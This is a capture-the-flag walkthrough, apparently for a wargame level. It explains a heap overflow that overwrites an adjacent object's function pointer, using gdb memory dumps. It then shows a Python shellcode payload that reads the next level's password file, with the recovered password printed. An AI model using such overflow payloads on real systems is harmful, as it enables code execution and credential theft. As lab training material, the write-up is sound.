Using `gdb`, we can determine the address of **obj1**. By setting a breakpoint at the `setAnnotation` function and examining the `eax` register, we find that its address is `0x0804a008`.

To provide a clearer understanding, let's depict the heap structure visually:

	0x804a008	08 04 88 48	00 00 00 00	00 00 00 00	00 00 00 00	operator+
obj1	0x804a018	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	annotation[100]
	0x804a028	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	value
	0x804a038	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	heap metadata
	0x804a048	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a058	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a068	00 00 00 00	00 00 00 00	00 00 00 05	00 00 00 71	
	0x804a078	08 04 88 48	00 00 00 00	00 00 00 00	00 00 00 00	
obj2	0x804a088	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a098	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a0a8	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a0b8	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a0c8	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
	0x804a0d8	00 00 00 00	00 00 00 00	00 00 00 06	00 02 0f 21	

From the heap layout, it's clear that if there's a *buffer overflow* in **obj1**, it could overwrite the `operator+` pointer of **obj2** because they're next to each other in memory.

The challenge now becomes: what address should we write?

The `annotation[100]` of **obj1** starts at `0x804a008 + 4`, which is **0x804a00c**, this is where our payload will start. However if we place our `shellcode` directly, the program will treat its first four bytes as an address and try to jump to it, which is not the behavior we want.

To circumvent this, we can make our `shellcode`'s initial 4 bytes point to its next segment. By doing so, we essentially *jump* the initial 4 bytes and ensure our `shellcode` starts its execution from `0x804a00c + 4`, which is **0x804a010**.

# ./level09³

● ● ●

```
level09@OverRide:~$ ./level09 "$(python -c "
shellcode='\x10\xa0\x04\x08\x31\xc9\xf7\xe1\x51\x68\...\xe3\xb0\x0b\xcd\x80'
padding = 'A' * (0x804a078 - 0x804a00c - len(shellcode))
jumpto='\x0c\xa0\x04\x08'
print(shellcode + padding + jumpto))" <<< "cd ../bonus0 && cat .pass";
f3f0004b6f364cb5a4147e9ef827fa922a4861408845c26b6971ad770d906728
```

```
level09@OverRide:~$ su bonus0
Password: f3f0004b6f364cb5a4147e9ef827fa922a4861408845c26b6971ad770d906728
```

```
bonus0@OverRide:~$
```